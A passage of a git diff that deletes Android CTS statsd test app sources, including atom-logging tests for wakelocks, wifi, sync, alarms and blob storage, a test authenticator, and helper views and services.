-        wl.release();
-    }
-
-    @Test
-    public void testSyncState() throws Exception {
-
-        Context context = InstrumentationRegistry.getContext();
-        StatsdAuthenticator.removeAllAccounts(context);
-        AccountManager am = context.getSystemService(AccountManager.class);
-        CountDownLatch latch = StatsdSyncAdapter.resetCountDownLatch();
-
-        Account account = StatsdAuthenticator.getTestAccount();
-        StatsdAuthenticator.ensureTestAccount(context);
-        sleep(500);
-
-        // Just force set is syncable.
-        ContentResolver.setMasterSyncAutomatically(true);
-        sleep(500);
-        ContentResolver.setIsSyncable(account, StatsdProvider.AUTHORITY, 1);
-        // Wait for the first (automatic) sync to finish
-        waitForReceiver(context, 120_000, latch, null);
-
-        //Sleep for 500ms, since we assert each start/stop to be ~500ms apart.
-        sleep(500);
-
-        // Request and wait for the second sync to finish
-        latch = StatsdSyncAdapter.resetCountDownLatch();
-        StatsdSyncAdapter.requestSync(account);
-        waitForReceiver(context, 120_000, latch, null);
-        StatsdAuthenticator.removeAllAccounts(context);
-    }
-
-    @Test
-    public void testScheduledJob() throws Exception {
-        final ComponentName name = new ComponentName(MY_PACKAGE_NAME,
-                StatsdJobService.class.getName());
-
-        Context context = InstrumentationRegistry.getContext();
-        JobScheduler js = context.getSystemService(JobScheduler.class);
-        assertWithMessage("JobScheduler service not available").that(js).isNotNull();
-
-        JobInfo.Builder builder = new JobInfo.Builder(1, name);
-        builder.setOverrideDeadline(0);
-        JobInfo job = builder.build();
-
-        long startTime = System.currentTimeMillis();
-        CountDownLatch latch = StatsdJobService.resetCountDownLatch();
-        js.schedule(job);
-        waitForReceiver(context, 5_000, latch, null);
-    }
-
-    @Test
-    public void testVibratorState() {
-        Context context = InstrumentationRegistry.getContext();
-        Vibrator vib = context.getSystemService(Vibrator.class);
-        if (vib.hasVibrator()) {
-            vib.vibrate(VibrationEffect.createOneShot(
-                    500 /* ms */, VibrationEffect.DEFAULT_AMPLITUDE));
-        }
-    }
-
-    @Test
-    public void testWakelockState() {
-        Context context = InstrumentationRegistry.getContext();
-        PowerManager pm = context.getSystemService(PowerManager.class);
-        PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
-                "StatsdPartialWakelock");
-        wl.acquire();
-        sleep(500);
-        wl.release();
-    }
-
-    @Test
-    public void testSliceByWakelockState() {
-        int uid = Process.myUid();
-        int whatAtomId = 9_998;
-        int wakelockType = PowerManager.PARTIAL_WAKE_LOCK;
-        String tag = "StatsdPartialWakelock";
-
-        Context context = InstrumentationRegistry.getContext();
-        PowerManager pm = context.getSystemService(PowerManager.class);
-        PowerManager.WakeLock wl = pm.newWakeLock(wakelockType, tag);
-
-        wl.acquire();
-        sleep(500);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        wl.acquire();
-        sleep(500);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        wl.release();
-        sleep(500);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        wl.release();
-        sleep(500);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
-    }
-
-    private static void writeSliceByWakelockStateChangedAtom(int atomId, int firstUid,
-                                                            int field2, String field3) {
-        final StatsEvent.Builder builder = StatsEvent.newBuilder()
-                .setAtomId(atomId)
-                .writeAttributionChain(new int[] {firstUid}, new String[] {"tag1"})
-                .writeInt(field2)
-                .writeString(field3)
-                .usePooledBuffer();
-
-        StatsLog.write(builder.build());
-    }
-
-
-    @Test
-    public void testWakelockLoad() {
-        final int NUM_THREADS = 16;
-        CountDownLatch latch = new CountDownLatch(NUM_THREADS);
-        for (int i = 0; i < NUM_THREADS; i++) {
-            Thread t = new Thread(new WakelockLoadTestRunnable("StatsdPartialWakelock" + i, latch));
-            t.start();
-        }
-        waitForReceiver(null, 120_000, latch, null);
-    }
-
-    @Test
-    public void testWakeupAlarm() {
-        Context context = InstrumentationRegistry.getContext();
-        String name = "android.cts.statsd.testWakeupAlarm";
-        CountDownLatch onReceiveLatch = new CountDownLatch(1);
-        BroadcastReceiver receiver =
-                registerReceiver(context, onReceiveLatch, new IntentFilter(name));
-        AlarmManager manager = (AlarmManager) (context.getSystemService(AlarmManager.class));
-        PendingIntent pintent = PendingIntent.getBroadcast(context, 0, new Intent(name), 0);
-        manager.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
-            SystemClock.elapsedRealtime() + 2_000, pintent);
-        waitForReceiver(context, 10_000, onReceiveLatch, receiver);
-    }
-
-    @Test
-    public void testWifiLockHighPerf() {
-        Context context = InstrumentationRegistry.getContext();
-        WifiManager wm = context.getSystemService(WifiManager.class);
-        WifiManager.WifiLock lock =
-                wm.createWifiLock(WifiManager.WIFI_MODE_FULL_HIGH_PERF, "StatsdCTSWifiLock");
-        lock.acquire();
-        sleep(500);
-        lock.release();
-    }
-
-    @Test
-    public void testWifiLockLowLatency() {
-        Context context = InstrumentationRegistry.getContext();
-        WifiManager wm = context.getSystemService(WifiManager.class);
-        WifiManager.WifiLock lock =
-                wm.createWifiLock(WifiManager.WIFI_MODE_FULL_LOW_LATENCY, "StatsdCTSWifiLock");
-        lock.acquire();
-        sleep(500);
-        lock.release();
-    }
-
-    @Test
-    public void testWifiMulticastLock() {
-        Context context = InstrumentationRegistry.getContext();
-        WifiManager wm = context.getSystemService(WifiManager.class);
-        WifiManager.MulticastLock lock = wm.createMulticastLock("StatsdCTSMulticastLock");
-        lock.acquire();
-        sleep(500);
-        lock.release();
-    }
-
-    @Test
-    /** Does two wifi scans. */
-    // TODO: Copied this from BatterystatsValidation but we probably don't need to wait for results.
-    public void testWifiScan() {
-        Context context = InstrumentationRegistry.getContext();
-        IntentFilter intentFilter = new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION);
-        // Sometimes a scan was already running (from a different uid), so the first scan doesn't
-        // start when requested. Therefore, additionally wait for whatever scan is currently running
-        // to finish, then request a scan again - at least one of these two scans should be
-        // attributed to this app.
-        for (int i = 0; i < 2; i++) {
-            CountDownLatch onReceiveLatch = new CountDownLatch(1);
-            BroadcastReceiver receiver = registerReceiver(context, onReceiveLatch, intentFilter);
-            context.getSystemService(WifiManager.class).startScan();
-            waitForReceiver(context, 60_000, onReceiveLatch, receiver);
-        }
-    }
-
-    @Test
-    public void testSimpleCpu() {
-        long timestamp = System.currentTimeMillis();
-        for (int i = 0; i < 10000; i ++) {
-            timestamp += i;
-        }
-        Log.i(TAG, "The answer is " + timestamp);
-    }
-
-    @Test
-    public void testWriteRawTestAtom() throws Exception {
-        Context context = InstrumentationRegistry.getTargetContext();
-        ApplicationInfo appInfo = context.getPackageManager()
-                .getApplicationInfo(context.getPackageName(), 0);
-        int[] uids = {1234, appInfo.uid};
-        String[] tags = {"tag1", "tag2"};
-        byte[] experimentIds = {8, 1, 8, 2, 8, 3}; // Corresponds to 1, 2, 3.
-        StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, uids, tags, 42,
-                Long.MAX_VALUE, 3.14f, "This is a basic test!", false,
-                StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__ON, experimentIds);
-
-        // All nulls. Should get dropped since cts app is not in the attribution chain.
-        StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, null, null, 0, 0,
-                0f, null, false, StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__ON, null);
-
-        // Null tag in attribution chain.
-        int[] uids2 = {9999, appInfo.uid};
-        String[] tags2 = {"tag9999", null};
-        StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, uids2, tags2, 100,
-                Long.MIN_VALUE, -2.5f, "Test null uid", true,
-                StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__UNKNOWN, experimentIds);
-
-        // Non chained non-null
-        StatsLogStatsdCts.write_non_chained(StatsLogStatsdCts.TEST_ATOM_REPORTED,
-                appInfo.uid, "tag1", -256, -1234567890L, 42.01f, "Test non chained", true,
-                StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__OFF, experimentIds);
-
-        // Non chained all null
-        StatsLogStatsdCts.write_non_chained(StatsLogStatsdCts.TEST_ATOM_REPORTED, appInfo.uid, null,
-                0, 0, 0f, null, true, StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__OFF, null);
-
-    }
-
-    /**
-     * Bring up and generate some traffic on cellular data connection.
-     */
-    @Test
-    public void testGenerateMobileTraffic() throws Exception {
-        final Context context = InstrumentationRegistry.getContext();
-        doGenerateNetworkTraffic(context, NetworkCapabilities.TRANSPORT_CELLULAR);
-    }
-
-    // Constants which are locally used by doGenerateNetworkTraffic.
-    private static final int NETWORK_TIMEOUT_MILLIS = 15000;
-    private static final String HTTPS_HOST_URL =
-            "https://connectivitycheck.gstatic.com/generate_204";
-
-    private void doGenerateNetworkTraffic(@NonNull Context context,
-            @NetworkCapabilities.Transport int transport) throws InterruptedException {
-        final ConnectivityManager cm = context.getSystemService(ConnectivityManager.class);
-        final NetworkRequest request = new NetworkRequest.Builder().addCapability(
-                NetworkCapabilities.NET_CAPABILITY_INTERNET).addTransportType(transport).build();
-        final CtsNetUtils.TestNetworkCallback callback = new CtsNetUtils.TestNetworkCallback();
-
-        // Request network, and make http query when the network is available.
-        cm.requestNetwork(request, callback);
-
-        // If network is not available, throws IllegalStateException.
-        final Network network = callback.waitForAvailable();
-        if (network == null) {
-            throw new IllegalStateException("network "
-                    + NetworkCapabilities.transportNameOf(transport) + " is not available.");
-        }
-
-        final long startTime = SystemClock.elapsedRealtime();
-        try {
-            exerciseRemoteHost(cm, network, new URL(HTTPS_HOST_URL));
-            Log.i(TAG, "exerciseRemoteHost successful in " + (SystemClock.elapsedRealtime()
-                    - startTime) + " ms");
-        } catch (Exception e) {
-            Log.e(TAG, "exerciseRemoteHost failed in " + (SystemClock.elapsedRealtime()
-                    - startTime) + " ms: " + e);
-        } finally {
-            cm.unregisterNetworkCallback(callback);
-        }
-    }
-
-    /**
-     * Generate traffic on specified network.
-     */
-    private void exerciseRemoteHost(@NonNull ConnectivityManager cm, @NonNull Network network,
-            @NonNull URL url) throws Exception {
-        cm.bindProcessToNetwork(network);
-        HttpURLConnection urlc = null;
-        try {
-            urlc = (HttpURLConnection) network.openConnection(url);
-            urlc.setConnectTimeout(NETWORK_TIMEOUT_MILLIS);
-            urlc.setUseCaches(false);
-            urlc.connect();
-        } finally {
-            if (urlc != null) {
-                urlc.disconnect();
-            }
-        }
-    }
-
-    // Constants for testBlobStore
-    private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
-    private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
-    private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
-    private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
-    private static final byte[] FAKE_PKG_CERT_SHA256 = BaseEncoding.base16().decode(
-            "187E3D3172F2177D6FEC2EA53785BF1E25DFF7B2E5F6E59807E365A7A837E6C3");
-
-    @Test
-    public void testBlobStore() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        int uid = context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).uid;
-
-        BlobStoreManager bsm = context.getSystemService(BlobStoreManager.class);
-        final long leaseExpiryMs = System.currentTimeMillis() + BLOB_LEASE_EXPIRY_DURATION_MS;
-
-        final FakeBlobData blobData = new FakeBlobData.Builder(context).setExpiryDurationMs(
-                BLOB_EXPIRY_DURATION_MS).setFileSize(BLOB_FILE_SIZE_BYTES).build();
-
-        blobData.prepare();
-        try {
-            // Commit the Blob, should result in BLOB_COMMITTED atom event
-            commitBlob(context, bsm, blobData);
-
-            // Lease the Blob, should result in BLOB_LEASED atom event
-            bsm.acquireLease(blobData.getBlobHandle(), "", leaseExpiryMs);
-
-            // Open the Blob, should result in BLOB_OPENED atom event
-            bsm.openBlob(blobData.getBlobHandle());
-
-        } finally {
-            blobData.delete();
-        }
-    }
-
-    // ------- Helper methods
-
-    /** Puts the current thread to sleep. */
-    static void sleep(int millis) {
-        try {
-            Thread.sleep(millis);
-        } catch (InterruptedException e) {
-            Log.e(TAG, "Interrupted exception while sleeping", e);
-        }
-    }
-
-    /** Register receiver to determine when given action is complete. */
-    private static BroadcastReceiver registerReceiver(
-            Context ctx, CountDownLatch onReceiveLatch, IntentFilter intentFilter) {
-        BroadcastReceiver receiver = new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                Log.d(TAG, "Received broadcast.");
-                onReceiveLatch.countDown();
-            }
-        };
-        // Run Broadcast receiver in a different thread since the main thread will wait.
-        HandlerThread handlerThread = new HandlerThread("br_handler_thread");
-        handlerThread.start();
-        Looper looper = handlerThread.getLooper();
-        Handler handler = new Handler(looper);
-        ctx.registerReceiver(receiver, intentFilter, null, handler);
-        return receiver;
-    }
-
-    /**
-     * Uses the receiver to wait until the action is complete. ctx and receiver may be null if no
-     * receiver is needed to be unregistered.
-     */
-    private static void waitForReceiver(Context ctx,
-            int maxWaitTimeMs, CountDownLatch latch, BroadcastReceiver receiver) {
-        try {
-            boolean didFinish = latch.await(maxWaitTimeMs, TimeUnit.MILLISECONDS);
-            if (didFinish) {
-                Log.v(TAG, "Finished performing action");
-            } else {
-                // This is not necessarily a problem. If we just want to make sure a count was
-                // recorded for the request, it doesn't matter if the action actually finished.
-                Log.w(TAG, "Did not finish in specified time.");
-            }
-        } catch (InterruptedException e) {
-            Log.e(TAG, "Interrupted exception while awaiting action to finish", e);
-        }
-        if (ctx != null && receiver != null) {
-            ctx.unregisterReceiver(receiver);
-        }
-    }
-
-    private static void setScreenBrightness(int brightness) {
-        runShellCommand("settings put system screen_brightness " + brightness);
-    }
-
-
-    private void commitBlob(Context context, BlobStoreManager bsm, FakeBlobData blobData)
-            throws Exception {;
-        final long sessionId = bsm.createSession(blobData.getBlobHandle());
-        try (BlobStoreManager.Session session = bsm.openSession(sessionId)) {
-            blobData.writeToSession(session);
-            session.allowPackageAccess("fake.package.name", FAKE_PKG_CERT_SHA256);
-
-            final CompletableFuture<Integer> callback = new CompletableFuture<>();
-            session.commit(context.getMainExecutor(), callback::complete);
-            assertWithMessage("Session failed to commit within timeout").that(
-                    callback.get(BLOB_COMMIT_CALLBACK_TIMEOUT_SEC, TimeUnit.SECONDS)).isEqualTo(0);
-        }
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
deleted file mode 100644
index 3728cef..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.net.wifi.WifiManager;
-import android.os.Vibrator;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Test;
-
-/**
- * Methods to check device properties. They pass iff the check returns true.
- */
-public class Checkers {
-    private static final String TAG = Checkers.class.getSimpleName();
-
-    @Test
-    public void checkVibratorSupported() {
-        Vibrator v = InstrumentationRegistry.getContext().getSystemService(Vibrator.class);
-        assertThat(v.hasVibrator()).isTrue();
-    }
-
-    @Test
-    public void checkWifiEnhancedPowerReportingSupported() {
-        WifiManager wm = InstrumentationRegistry.getContext().getSystemService(WifiManager.class);
-        assertThat(wm.isEnhancedPowerReportingSupported()).isTrue();
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyActivity.java
deleted file mode 100644
index e2ec7f7..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyActivity.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.widget.VideoView;
-import android.util.Log;
-
-
-public class DaveyActivity extends Activity {
-    private static final String TAG = "statsdDaveyActivity";
-
-    /** Called when the activity is first created. */
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.activity_davey);
-        DaveyView view = (DaveyView)findViewById(R.id.davey_view);
-        view.causeDavey(true);
-    }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyView.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyView.java
deleted file mode 100644
index bf1cd35..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyView.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.view.View;
-import android.content.Context;
-import android.content.res.TypedArray;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.Paint;
-import android.graphics.Paint.FontMetrics;
-import android.os.SystemClock;
-import android.util.AttributeSet;
-import android.util.Log;
-
-
-public class DaveyView extends View {
-
-    private static final String TAG = "statsdDaveyView";
-
-    private static final long DAVEY_TIME_MS = 750; // A bit more than 700ms to be safe.
-    private boolean mCauseDavey;
-    private Paint mPaint;
-    private int mTexty;
-
-    public DaveyView(Context context, AttributeSet attrs) {
-        super(context, attrs);
-        TypedArray a = context.getTheme().obtainStyledAttributes(
-                attrs,
-                R.styleable.DaveyView,
-                0, 0);
-
-        try {
-            mCauseDavey = a.getBoolean(R.styleable.DaveyView_causeDavey, false);
-        } finally {
-            a.recycle();
-        }
-
-        mPaint = new Paint();
-        mPaint.setColor(Color.BLACK);
-        mPaint.setTextSize(20);
-        FontMetrics metric = mPaint.getFontMetrics();
-        int textHeight = (int) Math.ceil(metric.descent - metric.ascent);
-        mTexty = textHeight - (int) metric.descent;
-    }
-
-    public void causeDavey(boolean cause) {
-        mCauseDavey = cause;
-        invalidate();
-    }
-
-    @Override
-    protected void onDraw(Canvas canvas) {
-        super.onDraw(canvas);
-        if (mCauseDavey) {
-            canvas.drawText("Davey!", 0, mTexty, mPaint);
-            SystemClock.sleep(DAVEY_TIME_MS);
-            mCauseDavey = false;
-        } else {
-            canvas.drawText("No Davey", 0, mTexty, mPaint);
-        }
-    }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DirectoryTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DirectoryTests.java
deleted file mode 100644
index fd849c9..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DirectoryTests.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import org.junit.Test;
-
-import java.io.File;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-public class DirectoryTests {
-
-    @Test
-    public void testStatsActiveMetricDirectoryExists() {
-        final File f = new File("/data/misc/stats-active-metric/");
-        assertTrue(f.exists());
-        assertFalse(f.isFile());
-    }
-
-    @Test
-    public void testStatsDataDirectoryExists() {
-        final File f = new File("/data/misc/stats-data/");
-        assertTrue(f.exists());
-        assertFalse(f.isFile());
-    }
-
-    @Test
-    public void testStatsMetadataDirectoryExists() {
-        final File f = new File("/data/misc/stats-metadata/");
-        assertTrue(f.exists());
-        assertFalse(f.isFile());
-    }
-
-    @Test
-    public void testStatsServiceDirectoryExists() {
-        final File f = new File("/data/misc/stats-service/");
-        assertTrue(f.exists());
-        assertFalse(f.isFile());
-    }
-
-    @Test
-    public void testTrainInfoDirectoryExists() {
-        final File f = new File("/data/misc/train-info/");
-        assertTrue(f.exists());
-        assertFalse(f.isFile());
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java
deleted file mode 100644
index 3e52342..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.annotation.NonNull;
-import android.telecom.Call;
-import android.telecom.CallScreeningService;
-
-public class DummyCallscreeningService extends CallScreeningService {
-    @Override
-    public void onScreenCall(@NonNull Call.Details callDetails) {
-
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdAuthenticator.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdAuthenticator.java
deleted file mode 100644
index 85acd07..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdAuthenticator.java
+++ /dev/null
@@ -1,135 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *          http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.accounts.AbstractAccountAuthenticator;
-import android.accounts.Account;
-import android.accounts.AccountAuthenticatorResponse;
-import android.accounts.AccountManager;
-import android.accounts.NetworkErrorException;
-import android.app.Service;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.IBinder;
-import android.util.Log;
-
-import java.util.Arrays;
-
-/**
- * Authenticator for the sync test.
- */
-public class StatsdAuthenticator extends Service {
-    private static final String TAG = "AtomTestsAuthenticator";
-
-    private static final String ACCOUNT_NAME = "StatsdCts";
-    private static final String ACCOUNT_TYPE = "com.android.cts.statsd";
-    private static Authenticator sInstance;
-
-    @Override
-    public IBinder onBind(Intent intent) {
-        if (sInstance == null) {
-            sInstance = new Authenticator(getApplicationContext());
-
-        }
-        return sInstance.getIBinder();
-    }
-
-    public static Account getTestAccount() {
-        return new Account(ACCOUNT_NAME, ACCOUNT_TYPE);
-    }
-
-    /**
-     * Adds the test account, if it doesn't exist yet.
-     */
-    public static void ensureTestAccount(Context context) {
-        final Account account = getTestAccount();
-
-        Bundle result = new Bundle();
-        result.putString(AccountManager.KEY_ACCOUNT_TYPE, account.type);
-        result.putString(AccountManager.KEY_ACCOUNT_NAME, account.name);
-
-        final AccountManager am = context.getSystemService(AccountManager.class);
-
-        if (!Arrays.asList(am.getAccountsByType(account.type)).contains(account) ){
-            am.addAccountExplicitly(account, "password", new Bundle());
-        }
-    }
-
-    /**
-     * Remove the test account.
-     */
-    public static void removeAllAccounts(Context context) {
-        final AccountManager am = context.getSystemService(AccountManager.class);
-
-        for (Account account : am.getAccountsByType(ACCOUNT_TYPE)) {
-            Log.i(TAG, "Removing " + account + "...");
-            am.removeAccountExplicitly(account);
-            Log.i(TAG, "Removed");
-        }
-    }
-
-    public static class Authenticator extends AbstractAccountAuthenticator {
-
-        private final Context mContxet;
-
-        public Authenticator(Context context) {
-            super(context);
-            mContxet = context;
-        }
-
-        @Override
-        public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
-                String authTokenType, String[] requiredFeatures, Bundle options)
-                throws NetworkErrorException {
-            return new Bundle();
-        }
-
-        @Override
-        public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
-            return new Bundle();
-        }
-
-        @Override
-        public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
-                String authTokenType, Bundle options) throws NetworkErrorException {
-            return new Bundle();
-        }
-
-        @Override
-        public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
-                Bundle options) throws NetworkErrorException {
-            return new Bundle();
-        }
-
-        @Override
-        public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
-                String authTokenType, Bundle options) throws NetworkErrorException {
-            return new Bundle();
-        }
-
-        @Override
-        public String getAuthTokenLabel(String authTokenType) {
-            return "token_label";
-        }
-
-        @Override
-        public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
-                String[] features) throws NetworkErrorException {
-            return new Bundle();
-        }
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsBackgroundService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsBackgroundService.java
deleted file mode 100644
index ad018f9..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsBackgroundService.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import com.android.server.cts.device.statsd.AtomTests;
-
-import android.app.IntentService;
-import android.content.Intent;
-import android.util.Log;
-
-/** An service (to be run as a background process) which performs one of a number of actions. */
-public class StatsdCtsBackgroundService extends IntentService {
-    private static final String TAG = StatsdCtsBackgroundService.class.getSimpleName();
-
-    public static final String KEY_ACTION = "action";
-    public static final String ACTION_BACKGROUND_SLEEP = "action.background_sleep";
-    public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
-    public static final String ACTION_LMK = "action.lmk";
-
-    public static final int SLEEP_OF_ACTION_BACKGROUND_SLEEP = 2_000;
-
-    static {
-        System.loadLibrary("lmkhelper");
-    }
-
-    public StatsdCtsBackgroundService() {
-        super(StatsdCtsBackgroundService.class.getName());
-    }
-
-    @Override
-    public void onHandleIntent(Intent intent) {
-        String action = intent.getStringExtra(KEY_ACTION);
-        Log.i(TAG, "Starting " + action + " from background service.");
-
-        switch (action) {
-            case ACTION_BACKGROUND_SLEEP:
-                AtomTests.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP);
-                break;
-            case ACTION_END_IMMEDIATELY:
-                break;
-            case ACTION_LMK:
-                new Thread(this::cmain).start();
-                break;
-            default:
-                Log.e(TAG, "Intent had invalid action");
-        }
-    }
-
-    /**
-     *  Keep allocating memory until the process is killed by LMKD.
-     **/
-    public native void cmain();
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
deleted file mode 100644
index 1f14c3a..0000000
